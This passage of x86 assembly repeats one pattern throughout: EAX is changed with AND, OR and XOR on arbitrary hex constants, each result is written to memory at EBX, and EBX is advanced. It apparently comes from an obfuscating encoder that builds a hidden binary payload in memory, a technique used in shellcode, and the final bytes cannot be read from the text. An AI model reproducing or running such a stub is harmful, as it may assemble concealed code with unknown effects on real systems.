mov dword [ebx], eax
add ebx, ecx
and eax, 0x4fffd1cd
xor eax, 0x4125086d
and eax, 0x4400084c
or eax, 0x2b0c3400
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4ac4014f
and eax, 0x700050d
or eax, 0x80204220
mov dword [ebx], eax
add ebx, ecx
or eax, 0x523b8724
and eax, 0xc332c304
or eax, 0x88020d2
mov dword [ebx], eax
add ebx, ecx
or eax, 0x10c51fee
and eax, 0x11a1cbfa
or eax, 0x4080000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x397f5399
and eax, 0x1214008
or eax, 0xa4c22862
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5f55a3c5
and eax, 0x7c4109ca
or eax, 0x81410
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3be0ccf4
or eax, 0x317a6784
and eax, 0x19226f14
or eax, 0x44051000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x56b66518
xor eax, 0x42f0d24c
and eax, 0x4422408
or eax, 0xe1294003
mov dword [ebx], eax
add ebx, ecx
or eax, 0x780b16e4
and eax, 0x34a30a8a
and eax, 0x28a
or eax, 0x400c8950
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x25620b9d
or eax, 0x3d1d9115
and eax, 0x18560110
or eax, 0x6008
mov dword [ebx], eax
add ebx, ecx
or eax, 0xc0f6b58
and eax, 0xc026858
or eax, 0x21000027
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1279d4d
and eax, 0x475151e0
and eax, 0x40
or eax, 0x46f6370c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x30e4c1ae
xor eax, 0x44418275
and eax, 0x20523015
or eax, 0x48040260
mov dword [ebx], eax
add ebx, ecx
or eax, 0x31e3293e
and eax, 0xe5dff8
and eax, 0x211118
or eax, 0x6084007
mov dword [ebx], eax
add ebx, ecx
or eax, 0x58d3bb72
xor eax, 0x3c1675af
and eax, 0x226c0850
or eax, 0x8110102a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x54bd46d
and eax, 0x1000040
or eax, 0x8831aa15
mov dword [ebx], eax
add ebx, ecx
and eax, 0x438ea9b3
and eax, 0x1000010
or eax, 0xc615526
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1ac57eb6
and eax, 0x76ae9dbd
and eax, 0x4000834
or eax, 0x2142204a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x72f37319
or eax, 0x3d267b67
and eax, 0x9205b14
or eax, 0x42010000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x63169b66
and eax, 0x5e1e3a91
and eax, 0x42001000
or eax, 0xb9cb057a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1506546b
xor eax, 0x3be9dbf0
and eax, 0x44220689
or eax, 0x1507124
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4713955b
and eax, 0x211f2b9
or eax, 0xa0840000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x48dc7158
and eax, 0x7cb53d03
and eax, 0x40913100
or eax, 0x5608cc4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x65098703
xor eax, 0x4ce7521f
and eax, 0x64124808
or eax, 0x12201322
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7fcc277a
or eax, 0x562757d9
and eax, 0x446c2b4a
or eax, 4
mov dword [ebx], eax
add ebx, ecx
or eax, 0x47cacbbc
and eax, 0x40e48a00
or eax, 0xa8011001
mov dword [ebx], eax
add ebx, ecx
or eax, 0x71a1655f
and eax, 0x69054817
or eax, 0x4180000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x28c28b6f
or eax, 0x652c130f
and eax, 0x4d2c1a04
or eax, 0x92902450
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6146aeea
and eax, 0x2c00
or eax, 0xc4a5018
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x76b4e3ef
xor eax, 0x643973dc
and eax, 0x10064c2b
or eax, 0x41200014
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6793ea0b
and eax, 0x36b50424
or eax, 0xc80841c9
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6158c2a
and eax, 0x793f027f
and eax, 0x48200002
or eax, 0x8090f2b8
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3b119287
or eax, 0x4580c11d
and eax, 0x510d396
or eax, 0x10640000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2ce922c
and eax, 0xeedea7
and eax, 0xa0022
or eax, 0x7b412c4d
mov dword [ebx], eax
add ebx, ecx
or eax, 0x23e0c99
and eax, 0x310e2cc4
or eax, 0x800000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x56cc59b9
or eax, 0x67732a5b
and eax, 0x135d285a
or eax, 0x4124
mov dword [ebx], eax
add ebx, ecx
or eax, 0x43c14de0
and eax, 0x5208287c
or eax, 0x28021200
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7031c53b
and eax, 0x100a05
or eax, 0x31400030
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4f033230
and eax, 0x1896014c
and eax, 0x120004
or eax, 0x21cc3363
mov dword [ebx], eax
add ebx, ecx
or eax, 0x361700e5
and eax, 0x129c2147
or eax, 0x20c400
mov dword [ebx], eax
add ebx, ecx
or eax, 0x19197d6d
and eax, 0x1a15554a
or eax, 0x44020000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1841fa8a
or eax, 0x545a1a2b
and eax, 0x1c553d08
or eax, 0x21200004
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5e3a584b
and eax, 0x2442542
or eax, 0x8c301a08
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x23b75319
and eax, 0x85c02452
or eax, 0x52000288
mov dword [ebx], eax
add ebx, ecx
or eax, 0x72ef26d3
and eax, 0x6ac96b68
and eax, 0x62092248
or eax, 0xc200111
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x41d528f0
and eax, 0x66d066a3
and eax, 0x24000221
or eax, 0x190f651c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6342d778
or eax, 0x17d398e9
and eax, 0x12400061
or eax, 0x20200312
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6f2bd35b
and eax, 0x3bc4733a
and eax, 0x20000010
or eax, 0x9946a840
mov dword [ebx], eax
add ebx, ecx
and eax, 0x58c2c865
or eax, 0x7d640ad4
and eax, 0x10660080
or eax, 0x3522
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x738c711d
and eax, 0x22a4009
or eax, 0x8102240
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1976ef9c
and eax, 0x14c0c44
or eax, 0x68133200
mov dword [ebx], eax
add ebx, ecx
or eax, 0x630822c0
and eax, 0x4a551200
or eax, 0x20012a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5c88c877
and eax, 0x40000002
or eax, 0x36427a0c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6de76f2c
and eax, 0x52aaffe9
and eax, 0x23920
or eax, 0xa9540015
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xa9a42d6
and eax, 0xa1cc2282
or eax, 0xc038404
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2ae4f281
and eax, 0x87085400
or eax, 0x70948ae8
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4ecfc07b
and eax, 0x280c028
or eax, 0x99223a93
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3b700712
and eax, 0x2a181
or eax, 0x5b290254
mov dword [ebx], eax
add ebx, ecx
and eax, 0x182f9a00
or eax, 0x44240a6e
and eax, 0x10010206
or eax, 0xa1407411
mov dword [ebx], eax
add ebx, ecx
and eax, 0x359622b1
and eax, 0x31000200
or eax, 0x4eb7194c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xa2bd7e2
and eax, 0x78f53917
and eax, 0x10940000
or eax, 0x8543a040
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xed862b9
and eax, 0x6ed5e636
and eax, 0xa010230
or eax, 0x144a1941
mov dword [ebx], eax
add ebx, ecx
and eax, 0x15992111
and eax, 0x43067618
and eax, 0x10
or eax, 0x6b096221
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4320dad1
and eax, 0x42004001
or eax, 0xb0682124
mov dword [ebx], eax
add ebx, ecx
and eax, 0x68e51ab0
or eax, 0x1f7022ac
and eax, 0x1f6002ac
or eax, 0xd5140
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x530a30cc
and eax, 0x8640020
or eax, 0x20081c5b
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7882f1c4
and eax, 0x28001040
or eax, 0x82c7850a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5488b5b8
xor eax, 0x6f6d7889
and eax, 0x64606d80
or eax, 0x120074
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5c59777b
xor eax, 0x4285e6d8
and eax, 0x6c18200
or eax, 0x38080050
mov dword [ebx], eax
add ebx, ecx
and eax, 0x320bbf1a
and eax, 0x20000210
or eax, 0x84107109
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7881f473
and eax, 0x28114552
or eax, 0x1400000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x25fcb992
xor eax, 0x51a3d093
and eax, 0x10d18101
or eax, 0x84002472
mov dword [ebx], eax
add ebx, ecx
or eax, 0x11715015
and eax, 0x80f0c473
or eax, 0x2080a88
mov dword [ebx], eax
add ebx, ecx
and eax, 0x41ccab37
and eax, 0x233
or eax, 0x41335580
mov dword [ebx], eax
add ebx, ecx
or eax, 0xc162f4c
and eax, 0x4c357e0b
or eax, 0x22880000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2081232
xor eax, 0x4fbd86c9
and eax, 0x2008ca50
or eax, 0x90f10008
mov dword [ebx], eax
add ebx, ecx
or eax, 0x60b2f237
and eax, 0xc7abd3e
and eax, 0x62a036
or eax, 0x938003c1
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6d8d1c9d
and eax, 0xedcd9ead
or eax, 0x100000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7588e879
and eax, 0x184566c0
or eax, 0x23200820
mov dword [ebx], eax
add ebx, ecx
and eax, 0xc05d1ff
and eax, 0x40060
or eax, 0x7342341d
mov dword [ebx], eax
add ebx, ecx
or eax, 0x614fe71c
and eax, 0x6304f258
or eax, 0x80b00800
mov dword [ebx], eax
add ebx, ecx
or eax, 0x74029818
and eax, 0xe7b28050
or eax, 0x8010582
mov dword [ebx], eax
add ebx, ecx
and eax, 0x79fcb372
and eax, 0x1300112
or eax, 0x4b0409
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7250880a
or eax, 0x719f4a99
and eax, 0x60504210
or eax, 0x800b540
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x11bd6ff0
and eax, 0x40691020
or eax, 0x4120048
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x39338d82
and eax, 0x39408068
or eax, 0x60214
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1b6c84b7
or eax, 0x2234b5eb
and eax, 0x3a002540
or eax, 0x94a00
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1f4c2871
and eax, 0x18082840
or eax, 0xa0f41336
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x60a5ea87
xor eax, 0x409706da
and eax, 0xce922a
or eax, 0x673120c0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7288493a
xor eax, 0x2145976
and eax, 0x54238084
or eax, 0x923
mov dword [ebx], eax
add ebx, ecx
or eax, 0x73ee2b82
and eax, 0x60e62023
or eax, 0x80104000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x11cf47c3
and eax, 0x143ca245
and eax, 0x10080000
or eax, 0x2ac39428
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4a516118
or eax, 0x3e29832d
and eax, 0x1261332d
or eax, 0x1000800
mov dword [ebx], eax
add ebx, ecx
and eax, 0x465a7dd0
and eax, 0x2800
or eax, 0x54030444
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x58eb3642
and eax, 0x55a16da0
and eax, 0x4200800
or eax, 0x4a0d6735
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4033fe52
or eax, 0xc85c9cc
and eax, 0x2116b07
or eax, 0x21000000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4d3addfd
and eax, 0x4104
or eax, 0x228d3690
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x11c383bd
and eax, 0x22026000
or eax, 0x48300a54
mov dword [ebx], eax
add ebx, ecx
or eax, 0x68c46a6a
and eax, 0x42b04030
or eax, 0x80089180
mov dword [ebx], eax
add ebx, ecx
or eax, 0x155d870e
and eax, 0xc29cd686
or eax, 0x8002801
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x54a37ecc
and eax, 0x94108001
or eax, 0x21c00e94
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1d88c52e
or eax, 0x35e8f383
and eax, 0x14887407
or eax, 0x20010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2c97c514
and eax, 0x380da102
or eax, 0xc2a242d0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x74c484b1
and eax, 0x70848090
or eax, 0x89337b41
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4fda34e1
or eax, 0xa28e2be
and eax, 0xb05253
or eax, 0x10400500
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x379abb0
xor eax, 0x1fa8848b
and eax, 0x203848
or eax, 0xd14e0702
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6d6cc276
and eax, 0x196ccd36
or eax, 0x2810081
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7dbf1ee3
or eax, 0x62317266
and eax, 0x2ee1f557
or eax, 0x80000008
mov dword [ebx], eax
add ebx, ecx
or eax, 0x56c315c8
and eax, 0x9423145e
or eax, 0x1080820
mov dword [ebx], eax
add ebx, ecx
or eax, 0x37a2cce5
and eax, 0x90a80cb2
or eax, 0x500200
mov dword [ebx], eax
add ebx, ecx
or eax, 0x77f5abf6
and eax, 0x3484af40
or eax, 0x8004008
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x42ca9a95
and eax, 0x4e043189
or eax, 0x80b08202
mov dword [ebx], eax
add ebx, ecx
and eax, 0x482d7414
and eax, 0x8203000
or eax, 0x1292cd8f
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4e2fdedd
and eax, 0x71e85cf7
and eax, 0x50a04c17
or eax, 0x8a420328
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6bdda440
and eax, 0xe9dda254
or eax, 0x1080
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7e436da1
or eax, 0x39f7b041
and eax, 0x33471711
or eax, 0x40000082
mov dword [ebx], eax
add ebx, ecx
and eax, 0x47900f0c
and eax, 0
or eax, 0xa84e88c9
mov dword [ebx], eax
add ebx, ecx
and eax, 0x31c83e89
xor eax, 0x50af0bd4
and eax, 0x70c70144
or eax, 0x1088480
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1348604
and eax, 0x404
or eax, 0x6e11409a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x75104df1
xor eax, 0x7879db44
and eax, 0x8688290
or eax, 0xa394002b
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5ab0932a
and eax, 0xcbf8909a
or eax, 0x10040
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x60000e37
or eax, 0x6a741551
and eax, 0xc3e19fbc
or eax, 0x14004000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5b0a267
or eax, 0x2215723e
and eax, 0xa0414e83
or eax, 0x8088000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7185113e
or eax, 0x148a28cd
and eax, 0x108120cf
or eax, 0x4b608430
mov dword [ebx], eax
add ebx, ecx
or eax, 0xbe60eb6
and eax, 0x42020a2a
or eax, 0x4105000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x689ec127
and eax, 0x4415ca19
and eax, 0x40104000
or eax, 0xb9a099a9
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5c188d1d
and eax, 0x6a787953
and eax, 0x20285000
or eax, 0x9d048ae7
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5b07adb5
and eax, 0x80285502
or eax, 0x19848029
mov dword [ebx], eax
add ebx, ecx
or eax, 0x486f844b
or eax, 0x3c67bf8e
and eax, 0xd487d3ec
or eax, 0x2100000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x265045cb
and eax, 0x20828020
or eax, 0x206090
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7d296fb9
and eax, 0xc820909
or eax, 0xa07050a6
mov dword [ebx], eax
add ebx, ecx
and eax, 0x34bd5be1
and eax, 0x249009a0
or eax, 0xc949a646
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7e8161dd
or eax, 0xfca8a63
and eax, 0x92da8042
or eax, 0x250184
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7745b80b
and eax, 0x10458000
or eax, 0xec983a3d
mov dword [ebx], eax
add ebx, ecx
or eax, 0x53f94161
or eax, 0x5f0c42e
and eax, 0xfab48205
or eax, 0x20000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7c176ec
xor eax, 0x5e853839
and eax, 0x816086c0
or eax, 0x10811103
mov dword [ebx], eax
add ebx, ecx
or eax, 0x74b27f3f
and eax, 0x730aa5
or eax, 0x8080000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x352a56d3
and eax, 0x39515004
or eax, 0x422aa308
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xbe638d9
xor eax, 0x26c69a7e
and eax, 0x2510000
or eax, 0x42614
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3824e70
and eax, 0x1076844
or eax, 0x94280410
mov dword [ebx], eax
add ebx, ecx
or eax, 0x478b1bdd
and eax, 0x82a95a09
or eax, 0x108020
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1527937f
and eax, 0x5e1f9c4a
and eax, 0x10008
or eax, 0x32442b14
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7e83a42d
xor eax, 0x4862b4c
and eax, 0x22400050
or eax, 0x1280108
mov dword [ebx], eax
add ebx, ecx
or eax, 0x64d9fb71
and eax, 0x363c3669
and eax, 0x6200201
or eax, 0x9082c984
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x49f6fcb5
and eax, 0xf540410
or eax, 0x20284043
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6a6a1d9c
and eax, 0x4a14584a
or eax, 0x10010020
mov dword [ebx], eax
add ebx, ecx
or eax, 0x79290f82
and eax, 0x18185428
or eax, 0x80822005
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x306e17b2
and eax, 0x88f42399
or eax, 0x43000800
mov dword [ebx], eax
add ebx, ecx
or eax, 0x21dbc06
xor eax, 0x4fecf31a
and eax, 0x84104081
or eax, 0x43a09108
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1f47d039
xor eax, 0x4a412323
and eax, 0x10369092
or eax, 0x60000160
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6bcbb2c1
and eax, 0x1d80010
or eax, 0xc0025888
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7a3f3930
xor eax, 0x6331f72f
and eax, 0x8040617
or eax, 0x46204128
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x23eefb71
and eax, 0x6c082004
or eax, 0x12014300
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1a2d5028
xor eax, 0x77704799
and eax, 0x13145020
or eax, 0x6c010000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5a4c8d1a
and eax, 0x40000000
or eax, 0x13bc088
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3654d1e3
and eax, 0x10c080
or eax, 0x4b0d3b65
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x108d7681
and eax, 0x11908804
or eax, 0xa06e2208
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x69e4212
and eax, 0xa400c004
or eax, 0x8801020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x24c9d06c
xor eax, 0x524e1a2b
and eax, 0x98021222
or eax, 0xa0e19c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x224ba9c3
and eax, 0x1aa15015
or eax, 0x1102402
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3a2541c9
and eax, 0x20101598
or eax, 0x8442c021
mov dword [ebx], eax
add ebx, ecx
and eax, 0x49932235
and eax, 0x100021
or eax, 0xadc58fc8
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6e37adaa
xor eax, 0x426f6d19
and eax, 0x18c4012
or eax, 0x48622081
mov dword [ebx], eax
add ebx, ecx
and eax, 0x68b7044b
and eax, 0x40a60003
or eax, 0x9518f0c4
mov dword [ebx], eax
add ebx, ecx
or eax, 0x12a10d8e
and eax, 0x1118b88d
and eax, 0x11002081
or eax, 0x60450620
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7a2f3069
xor eax, 0x362334ce
and eax, 0x206146d
or eax, 0x18512200
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1246942c
or eax, 0x2c7c8b1b
and eax, 0x126c1a0c
or eax, 0xc1002040
mov dword [ebx], eax
add ebx, ecx
or eax, 0xbcbefda
xor eax, 0x22857690
and eax, 0x4100800c
or eax, 0x6006690
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x64c0b6fd
and eax, 0x4b654dcb
and eax, 0x2400040
or eax, 0xe89d9184
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2a4908a3
or eax, 0x78c09ecb
and eax, 0x284408ce
or eax, 0xb2010
mov dword [ebx], eax
add ebx, ecx
and eax, 0x21772753
and eax, 0x20430040
or eax, 0x1390140c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1bb74016
and eax, 0x13030004
or eax, 0x6008ed99
mov dword [ebx], eax
add ebx, ecx
or eax, 0x50a07faf
and eax, 0x25f363e2
and eax, 0x1806220
or eax, 0x42441814
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3e2698f6
and eax, 0x2040810
or eax, 0x9db1644a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7e35d9ea
and eax, 0xc180a430
or eax, 0x147a0a08
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3371907e
and eax, 0x76fb9016
or eax, 0x8040180
mov dword [ebx], eax
add ebx, ecx
and eax, 0x17085e2c
and eax, 0x2081004
or eax, 0x21056279
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x728ed859
and eax, 0x124d5eba
and eax, 0xa20
or eax, 0x85422059
mov dword [ebx], eax
add ebx, ecx
and eax, 0x403caafb
xor eax, 0x611fb872
and eax, 0x21050002
or eax, 0x4e04500
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x61cef4ba
and eax, 0x40033008
or eax, 0xb0444843
mov dword [ebx], eax
add ebx, ecx
and eax, 0x225edac5
and eax, 0x425000
or eax, 0x52992420
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2854e12a
or eax, 0x6e87223
and eax, 0x7a047623
or eax, 0x81000010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x502124ab
xor eax, 0x39eca034
and eax, 0x10c1f080
or eax, 0x64220d13
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4509bc0c
and eax, 0x4019000
or eax, 0x892009f
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4145a704
and eax, 0x4906311b
or eax, 0x20080840
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5921083d
and eax, 0x592b0105
or eax, 0x82504600
mov dword [ebx], eax
add ebx, ecx
or eax, 0x324bc59c
xor eax, 0x1dc3d9e
and eax, 0xd8a20202
or eax, 0x11000d0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1e2492d6
or eax, 0x19f7cb3f
and eax, 0x9cd1c334
or eax, 0x2480
mov dword [ebx], eax
add ebx, ecx
and eax, 0x72165670
and eax, 0x10100420
or eax, 0x80401088
mov dword [ebx], eax
add ebx, ecx
or eax, 0x46785eb0
and eax, 0x2fb315da
and eax, 0x201010
or eax, 0x8dca40
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4f4837ad
and eax, 0x5385c324
and eax, 0x4080c104
or eax, 0xa00a005b
mov dword [ebx], eax
add ebx, ecx
or eax, 0xc63bbe8
xor eax, 0x4a3b7e1c
and eax, 0x26508182
or eax, 0x19034a0c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3f668e82
and eax, 0xc152415
and eax, 0x110000
or eax, 0x3a4ad86b
mov dword [ebx], eax
add ebx, ecx
and eax, 0x12365fa9
or eax, 0x6324c5e5
and eax, 0x314cd88
or eax, 0x8c812012
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xe49ba00
and eax, 0x81501218
or eax, 0xe000860
mov dword [ebx], eax
add ebx, ecx
or eax, 0x746740b6
xor eax, 0x69f4a5c0
and eax, 0x2012f1e
or eax, 0x412c00c0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6193f188
and eax, 0x620d4702
or eax, 0x18000000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x452cbae2
and eax, 0
or eax, 0x90a2340c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1be42443
and eax, 0x9a862040
or eax, 0x441989a0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x55d07144
xor eax, 0x6b182a01
and eax, 0x40171004
or eax, 0x9a80912
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4c84fb2
and eax, 0x41350330
or eax, 0x22000040
mov dword [ebx], eax
add ebx, ecx
and eax, 0x170b72d0
and eax, 0x10040
or eax, 0x80c6f885
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7f11ba96
or eax, 0x5fa63aca
and eax, 0x53a272c1
or eax, 0x8400
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2e831509
xor eax, 0x7da3badc
and eax, 0x805814
or eax, 0xa440a6c1
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7ede301
and eax, 0x241dc0
or eax, 0x44d2800b
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x63607ecf
and eax, 0x64200
or eax, 0xc8081c2b
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1f77ca38
or eax, 0x1478a03
and eax, 0x2c821
or eax, 0xf6801080
mov dword [ebx], eax
add ebx, ecx
or eax, 0x244f1a71
and eax, 0x4438ac1
or eax, 0x8200502
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5aa730a7
xor eax, 0x63609135
and eax, 0x1c870ed2
or eax, 0x82209001
mov dword [ebx], eax
add ebx, ecx
or eax, 0x59d20111
and eax, 0x4292ac20
and eax, 0x2928400
or eax, 0x8c4d70b5
mov dword [ebx], eax
add ebx, ecx
and eax, 0x12dd9e9c
and eax, 0x2958080
or eax, 0xd4222169
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1bcf80d1
or eax, 0xb60b9c1
and eax, 0x8c4b8c0
or eax, 0xc0184202
mov dword [ebx], eax
add ebx, ecx
and eax, 0x323348b3
and eax, 0x100000
or eax, 0x7461144
mov dword [ebx], eax
add ebx, ecx
and eax, 0x46e87449
or eax, 0x5101e257
and eax, 0x1741c210
or eax, 0xa8a800a8
mov dword [ebx], eax
add ebx, ecx
and eax, 0x17f6fe70
or eax, 0x27bc8a60
and eax, 0x1028c220
or eax, 0x40010583
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x515f3704
and eax, 0x156b000
or eax, 0x86810808
mov dword [ebx], eax
add ebx, ecx
and eax, 0x69946ac0
and eax, 0x106f4990
and eax, 0x800
or eax, 0x656b4071
mov dword [ebx], eax
add ebx, ecx
and eax, 0x25825da2
and eax, 0x195bc360
and eax, 0x1000020
or eax, 0xc6881699
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1942ac9d
and eax, 0x86c09a24
or eax, 0x20314091
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5baa4750
and eax, 0xa74310d4
or eax, 0x4200a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x681b10cb
xor eax, 0x672f4abb
and eax, 0x206348a8
or eax, 0x14009050
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x68cb36c5
and eax, 0x4c88c03c
or eax, 0x821701c2
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xdd12daa
and eax, 0xc30ae014
or eax, 0x149101a0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x548d0876
and eax, 0x3a13ce83
and eax, 0x1010c080
or eax, 0x80041401
mov dword [ebx], eax
add ebx, ecx
and eax, 0xd552c6a
or eax, 0x111f0ccd
and eax, 0x500c4
or eax, 0xc240d300
mov dword [ebx], eax
add ebx, ecx
and eax, 0x88d76e3
and eax, 0x4200
or eax, 0x8778a81b
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1838bfcc
and eax, 0x18a200
or eax, 0xa2c340d6
mov dword [ebx], eax
add ebx, ecx
or eax, 0x31206127
and eax, 0x82f380f1
or eax, 0x8001800
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3a2e0e6b
and eax, 0xa1d92d8
or eax, 0x40002104
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4b2e405a
and eax, 0x828f000
or eax, 0x30800820
mov dword [ebx], eax
add ebx, ecx
or eax, 0x50cdfacb
and eax, 0x40a9c08a
or eax, 0x86000504
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6ce2060d
and eax, 0x260c30a6
and eax, 0x6000006
or eax, 0x50121440
mov dword [ebx], eax
add ebx, ecx
or eax, 0x795b8699
xor eax, 0x4a3cf8e
and eax, 0x61804111
or eax, 0x80012020
mov dword [ebx], eax
add ebx, ecx
and eax, 0x24ac5ac5
and eax, 0x531879bc
